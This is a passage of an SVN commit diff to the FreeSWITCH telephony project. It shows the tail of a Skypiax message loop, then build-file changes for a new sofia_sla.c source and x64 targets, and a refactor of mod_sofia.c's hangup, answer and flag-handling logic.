+							("Got a 'continue' XAtom without a previous 'begin'. It's value (between vertical bars) is=|||%s|||\n", SKYPIAX_P_LOG, buf);
+						continue_is_broken = 1;
+						if (!strncmp(buf, "ognised identity", 15)) {
+							WARNINGA
+								("Got a 'continue' XAtom without a previous 'begin'. It's value (between vertical bars) is=|||%s|||. Let's introduce a 1 second delay.\n",
+								 SKYPIAX_P_LOG, buf);
+							skypiax_sleep(1000000);	//1 sec
+						}
+						break;
+					}
+				}
+
+				strcat(buffer, buf);
+
+				if (i < 20 || continue_is_broken) {	/* last fragment */
+					unsigned int howmany;
+
+					howmany = strlen(b) + 1;
+
+					howmany = write(SkypiaxHandles->fdesc[1], b, howmany);
+					//DEBUGA_SKYPE ("RECEIVED=|||%s|||\n", SKYPIAX_P_LOG, buffer);
+					memset(buffer, '\0', 17000);
+					XFlush(disp);
+					continue_is_broken = 0;
+				}
+
+				break;
+			default:
+				break;
+			}
+		}
+	} else {
+		ERRORA("Skype is not running, maybe crashed. Please run/restart Skype and relaunch Skypiax\n", SKYPIAX_P_LOG);
+		running = 0;
+		return NULL;
+	}
+	//running = 0;
+	return NULL;
+
+}
+#endif // WIN32

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_sofia


Name: svn:ignore
   - mod_sofia.log
Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile.in
.deps
Makefile
debug
   + mod_sofia.log
Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile.in
.deps
Makefile
debug
cisco
Win32
x64
sofia.diff
diff.txt

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,7 +17,7 @@
 SOFIALA=$(SOFIAUA_DIR)/libsofia-sip-ua.la
 
 mod_LTLIBRARIES = mod_sofia.la
-mod_sofia_la_SOURCES = mod_sofia.c sofia.c sofia_glue.c sofia_presence.c sofia_reg.c  mod_sofia.h
+mod_sofia_la_SOURCES = mod_sofia.c sofia.c sofia_glue.c sofia_presence.c sofia_reg.c sofia_sla.c  mod_sofia.h
 mod_sofia_la_CFLAGS  = $(AM_CFLAGS) 
 mod_sofia_la_CFLAGS += -I. -I$(SOFIAUA_DIR)/bnf  -I$(SOFIAUA_DIR)/features
 mod_sofia_la_CFLAGS += -I$(SOFIAUA_DIR)/http -I$(SOFIAUA_DIR)/ipt
@@ -49,12 +49,3 @@
 
 ../../../../libs/sofia-sip/libsofia-sip-ua/nua/sofia-sip/nua_tag.h: $(SOFIALA)
 
-#install-data-am: $(DESTDIR)$(PREFIX)/$(moddir)/$(MODNAME).$(DYNAMIC_LIB_EXTEN)
-
-#$(DESTDIR)$(PREFIX)/$(moddir)/$(MODNAME).$(DYNAMIC_LIB_EXTEN): $(MODNAME).la
-#	@echo installing $(MODNAME).$(DYNAMIC_LIB_EXTEN)
-#	@if [ -f .libs/$(MODNAME).$(DYNAMIC_LIB_EXTEN) ] ; then \
-#	  $(LIBTOOL) --mode=install $(INSTALL) .libs/$(MODNAME).$(DYNAMIC_LIB_EXTEN) $(DESTDIR)$(PREFIX)/$(moddir) >/dev/null  ; \
-#	else \
-#	  $(LIBTOOL) --mode=install $(INSTALL) $(MODNAME).$(DYNAMIC_LIB_EXTEN) $(DESTDIR)$(PREFIX)/$(moddir) >/dev/null  ; \
-#	fi

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -83,6 +86,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\su&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nua&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\win32&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\url&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\sip&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\msg&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\sdp&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nta&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nea&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\soa&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\iptsec&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\bnf&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\tport&quot;"
+				PreprocessorDefinitions="LIBSOFIA_SIP_UA_STATIC;PTW32_STATIC_LIB"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4201"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib advapi32.lib iphlpapi.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\sofia-sip\win32\pthread&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -148,6 +220,75 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\su&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nua&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\win32&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\url&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\sip&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\msg&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\sdp&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nta&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\nea&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\soa&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\iptsec&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\bnf&quot;;&quot;$(InputDir)..\..\..\..\libs\sofia-sip\libsofia-sip-ua\tport&quot;"
+				PreprocessorDefinitions="LIBSOFIA_SIP_UA_STATIC;PTW32_STATIC_LIB"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4201"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib advapi32.lib iphlpapi.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\sofia-sip\win32\pthread&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -176,6 +317,10 @@
 			RelativePath=".\sofia_reg.c"
 			>
 		</File>
+		<File
+			RelativePath=".\sofia_sla.c"
+			>
+		</File>
 	</Files>
 	<Globals>
 	</Globals>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice <krice at cometsig.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -36,7 +36,7 @@
 /* Best viewed in a 160 x 60 VT100 Terminal or so the line below at least fits across your screen*/
 /*************************************************************************************************************************************************************/
 #include "mod_sofia.h"
-
+#include "sofia-sip/sip_extra.h"
 SWITCH_MODULE_LOAD_FUNCTION(mod_sofia_load);
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_sofia_shutdown);
 SWITCH_MODULE_DEFINITION(mod_sofia, mod_sofia_load, mod_sofia_shutdown, NULL);
@@ -85,15 +85,15 @@
 		sofia_glue_tech_absorb_sdp(tech_pvt);
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
 		const char *var;
 
 		if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && !switch_strlen_zero(var)) {
 			if (switch_true(var) || !strcasecmp(var, SWITCH_RTP_CRYPTO_KEY_32)) {
-				switch_set_flag_locked(tech_pvt, TFLAG_SECURE);
+				sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
 				sofia_glue_build_crypto(tech_pvt, 1, AES_CM_128_HMAC_SHA1_32, SWITCH_RTP_CRYPTO_SEND);
 			} else if (!strcasecmp(var, SWITCH_RTP_CRYPTO_KEY_80)) {
-				switch_set_flag_locked(tech_pvt, TFLAG_SECURE);
+				sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
 				sofia_glue_build_crypto(tech_pvt, 1, AES_CM_128_HMAC_SHA1_80, SWITCH_RTP_CRYPTO_SEND);
 			}
 		}
@@ -123,8 +123,8 @@
 	private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
 	switch_assert(tech_pvt != NULL);
 
-	if (!switch_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
-		switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+	if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
+		sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SOFIA ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
@@ -138,8 +138,8 @@
 	private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
 	switch_assert(tech_pvt != NULL);
 
-	if (!switch_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
-		switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+	if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
+		sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SOFIA RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
@@ -153,8 +153,8 @@
 	private_object_t *tech_pvt = switch_core_session_get_private(session);
 	switch_assert(tech_pvt != NULL);
 
-	if (!switch_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
-		switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+	if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
+		sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SOFIA HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
@@ -167,14 +167,29 @@
 	private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
 	switch_assert(tech_pvt != NULL);
 
-	if (!switch_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
-		switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+	if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
+		sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 	}
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SOFIA EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
 
 	return SWITCH_STATUS_SUCCESS;
 }
 
+char * generate_pai_str(switch_core_session_t *session) 
+{
+	private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+	const char *callee_name = NULL, *callee_number = NULL;
+	char *pai = NULL;
+
+	if ((callee_name = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_name"))) {
+		if (!(callee_number = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_number"))) {
+			callee_number = tech_pvt->caller_profile->destination_number;
+		}
+		pai = switch_core_session_sprintf(tech_pvt->session, "P-Asserted-Identity: \"%s\" <%s>", callee_name, callee_number);
+	}
+	return pai;
+}
+
 /* map QSIG cause codes to SIP from RFC4497 section 8.4.1 */
 static int hangup_cause_to_sip(switch_call_cause_t cause)
 {
@@ -232,6 +247,36 @@
 	}
 }
 
+switch_status_t sofia_on_destroy(switch_core_session_t *session)
+{
+	private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SOFIA DESTROY\n", switch_channel_get_name(channel));
+
+	if (tech_pvt) {
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+		
+		if (switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+
+		switch_core_session_unset_read_codec(session);
+		switch_core_session_unset_write_codec(session);
+
+		switch_mutex_lock(tech_pvt->profile->flag_mutex);
+		tech_pvt->profile->inuse--;
+		switch_mutex_unlock(tech_pvt->profile->flag_mutex);
+
+		sofia_glue_deactivate_rtp(tech_pvt);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
 switch_status_t sofia_on_hangup(switch_core_session_t *session)
 {
 	switch_core_session_t *a_session;
@@ -243,6 +288,14 @@
 
 	switch_mutex_lock(tech_pvt->sofia_mutex);
 
+	if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
+		if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+			tech_pvt->profile->ob_failed_calls++;
+		} else {
+			tech_pvt->profile->ib_failed_calls++;
+		}
+	}
+
 	if (!((use_my_cause = switch_channel_get_variable(channel, "sip_ignore_remote_cause")) && switch_true(use_my_cause))) {
 		ps_cause = switch_channel_get_variable(channel, SWITCH_PROTO_SPECIFIC_HANGUP_CAUSE_VARIABLE);
 	}
@@ -256,7 +309,7 @@
 		}
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_SIP_HOLD) && cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
+	if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD) && cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
 		const char *buuid;
 		switch_core_session_t *bsession;
 		switch_channel_t *bchannel;
@@ -279,11 +332,9 @@
 				switch_core_session_rwunlock(bsession);
 			}
 		}
-		switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+		sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 	}
 
-	sofia_glue_deactivate_rtp(tech_pvt);
-
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel %s hanging up, cause: %s\n",
 					  switch_channel_get_name(channel), switch_channel_cause2str(cause));
 
@@ -303,9 +354,7 @@
 		switch_core_session_rwunlock(a_session);
 	}
 
-
-
-	if (tech_pvt->nh && !switch_test_flag(tech_pvt, TFLAG_BYE)) {
+	if (tech_pvt->nh && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
 		char reason[128] = "";
 		switch_stream_handle_t stream = { 0 };
 		switch_event_header_t *hi;
@@ -334,66 +383,63 @@
 		} else if (cause == SWITCH_CAUSE_PICKED_OFF || cause == SWITCH_CAUSE_LOSE_RACE) {
 			switch_snprintf(reason, sizeof(reason), "SIP;cause=200;text=\"Call completed elsewhere\"");
 		} else {
-			switch_snprintf(reason, sizeof(reason), "FreeSWITCH;cause=%d;text=\"%s\"", cause, switch_channel_cause2str(cause));
+			switch_snprintf(reason, sizeof(reason), "%s;cause=%d;text=\"%s\"",
+					tech_pvt->profile->username, 
+					cause,
+					switch_channel_cause2str(cause));
 		}
-		
-		if (switch_test_flag(tech_pvt, TFLAG_ANS)) {
+
+		if (switch_channel_test_flag(channel, CF_ANSWERED)) {
 			if (!tech_pvt->got_bye) {
 				switch_channel_set_variable(channel, "sip_hangup_disposition", "send_bye");
 			}
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending BYE to %s\n", switch_channel_get_name(channel));
-			nua_bye(tech_pvt->nh, 
-					SIPTAG_REASON_STR(reason),
-					TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-					TAG_END());
+			if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+				nua_bye(tech_pvt->nh, 
+						SIPTAG_REASON_STR(reason),
+						TAG_IF(!switch_strlen_zero(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
+						TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
+						TAG_END());
+			}
 		} else {
-			if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
+			if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending CANCEL to %s\n", switch_channel_get_name(channel));
 				if (!tech_pvt->got_bye) {
 					switch_channel_set_variable(channel, "sip_hangup_disposition", "send_cancel");
 				}
-				nua_cancel(tech_pvt->nh, 
-						   SIPTAG_REASON_STR(reason), 
-						   TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-						   TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-						   TAG_END());
+				if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					nua_cancel(tech_pvt->nh, 
+							   SIPTAG_REASON_STR(reason), 
+							   TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
+							   TAG_END());
+				}
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Responding to INVITE with: %d\n", sip_cause);
 				if (!tech_pvt->got_bye) {
 					switch_channel_set_variable(channel, "sip_hangup_disposition", "send_refuse");
 				}
-				nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause), 
-							SIPTAG_REASON_STR(reason), 
-							TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-							TAG_END());
+				if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause), 
+								SIPTAG_REASON_STR(reason), 
+								TAG_IF(!switch_strlen_zero(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
+								TAG_END());
+				}
 			}
 		}
 
-		switch_set_flag(tech_pvt, TFLAG_BYE);
+		sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
 		switch_safe_free(stream.data);
 	}
 
-	switch_clear_flag(tech_pvt, TFLAG_IO);
+	sofia_clear_flag(tech_pvt, TFLAG_IO);
 
-	if (tech_pvt->read_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->read_codec);
-	}
-
-	if (tech_pvt->write_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->write_codec);
-	}
-
-	switch_core_session_unset_read_codec(session);
-	switch_core_session_unset_write_codec(session);
-
-	switch_mutex_lock(tech_pvt->profile->flag_mutex);
-	tech_pvt->profile->inuse--;
-	switch_mutex_unlock(tech_pvt->profile->flag_mutex);
-
 	if (tech_pvt->sofia_private) {
 		*tech_pvt->sofia_private->uuid = '\0';
 	}
 	
+
+	sofia_glue_set_rtp_stats(tech_pvt);
+
 	switch_mutex_unlock(tech_pvt->sofia_mutex);
 
 	return SWITCH_STATUS_SUCCESS;
@@ -422,7 +468,7 @@
 	int is_proxy = 0;
 	char *sticky = NULL;
 
-	if (switch_test_flag(tech_pvt, TFLAG_ANS) || switch_channel_test_flag(channel, CF_OUTBOUND)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_ANS) || switch_channel_test_flag(channel, CF_OUTBOUND)) {
 		return SWITCH_STATUS_SUCCESS;
 	}
 
@@ -431,7 +477,7 @@
 	is_proxy = (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA));
 
 	if (b_sdp && is_proxy) {
-		tech_pvt->local_sdp_str = switch_core_session_strdup(session, b_sdp);
+		sofia_glue_tech_set_local_sdp(tech_pvt, b_sdp, SWITCH_TRUE);
 
 		if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 			sofia_glue_tech_patch_sdp(tech_pvt);
@@ -441,20 +487,23 @@
 		}
 	} else {
 		/* This if statement check and handles the 3pcc proxy mode */
-		if ((tech_pvt->profile->pflags & PFLAG_3PCC_PROXY) && switch_test_flag(tech_pvt, TFLAG_3PCC)) {
+		if (sofia_test_pflag(tech_pvt->profile, PFLAG_3PCC_PROXY) && sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
 			/* Send the 200 OK */
-			nua_respond(tech_pvt->nh, SIP_200_OK,
-				SIPTAG_CONTACT_STR(tech_pvt->profile->url),
-				SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
-				SOATAG_REUSE_REJECTED(1),
-				SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "3PCC-PROXY, Sent a 200 OK, waiting for ACK\n");
-			
+			if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+				nua_respond(tech_pvt->nh, SIP_200_OK,
+							SIPTAG_CONTACT_STR(tech_pvt->profile->url),
+							SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
+							SOATAG_REUSE_REJECTED(1),
+							SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
+
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "3PCC-PROXY, Sent a 200 OK, waiting for ACK\n");
+			}
+
 			/* Unlock the session signal to allow the ack to make it in */
 			// Maybe we should timeout?
 			switch_mutex_unlock(tech_pvt->sofia_mutex);
 			
-			while(switch_channel_ready(channel) && !switch_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
+			while(switch_channel_ready(channel) && !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
 				switch_cond_next();
 			}
 			
@@ -464,8 +513,8 @@
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "3PCC-PROXY, Done waiting for ACK\n");
 		}
 
-		if ((is_proxy && !b_sdp) || switch_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) || !tech_pvt->iananame) {
-			switch_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
+		if ((is_proxy && !b_sdp) || sofia_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) || !tech_pvt->iananame) {
+			sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
 
 			if (is_proxy) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Disabling proxy mode due to call answer with no bridge\n");
@@ -492,7 +541,7 @@
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 			return status;
 		}
-
+		
 		sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
 		if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -512,7 +561,7 @@
 		}
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_NAT) ||
+	if (sofia_test_flag(tech_pvt, TFLAG_NAT) ||
 		(val = switch_channel_get_variable(channel, "sip-force-contact")) ||
 		((val = switch_channel_get_variable(channel, "sip_sticky_contact")) && switch_true(val))) {
 		sticky = tech_pvt->record_route;
@@ -520,16 +569,19 @@
 		switch_channel_set_variable(channel, "sip_nat_detected", "true");
 	}
 
+	if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+		nua_respond(tech_pvt->nh, SIP_200_OK,
+					NUTAG_AUTOANSWER(0),
+					TAG_IF(sticky, NUTAG_PROXY(tech_pvt->record_route)),
+					SIPTAG_HEADER_STR(generate_pai_str(session)),
+					NUTAG_SESSION_TIMER(session_timeout),
+					SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+					SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt->channel, SOFIA_SIP_HEADER_PREFIX "call_info")),
+					SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
+					SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
+		sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+	}
 
-	nua_respond(tech_pvt->nh, SIP_200_OK,
-				NUTAG_AUTOANSWER(0),
-				TAG_IF(sticky, NUTAG_PROXY(tech_pvt->record_route)),
-				NUTAG_SESSION_TIMER(session_timeout),
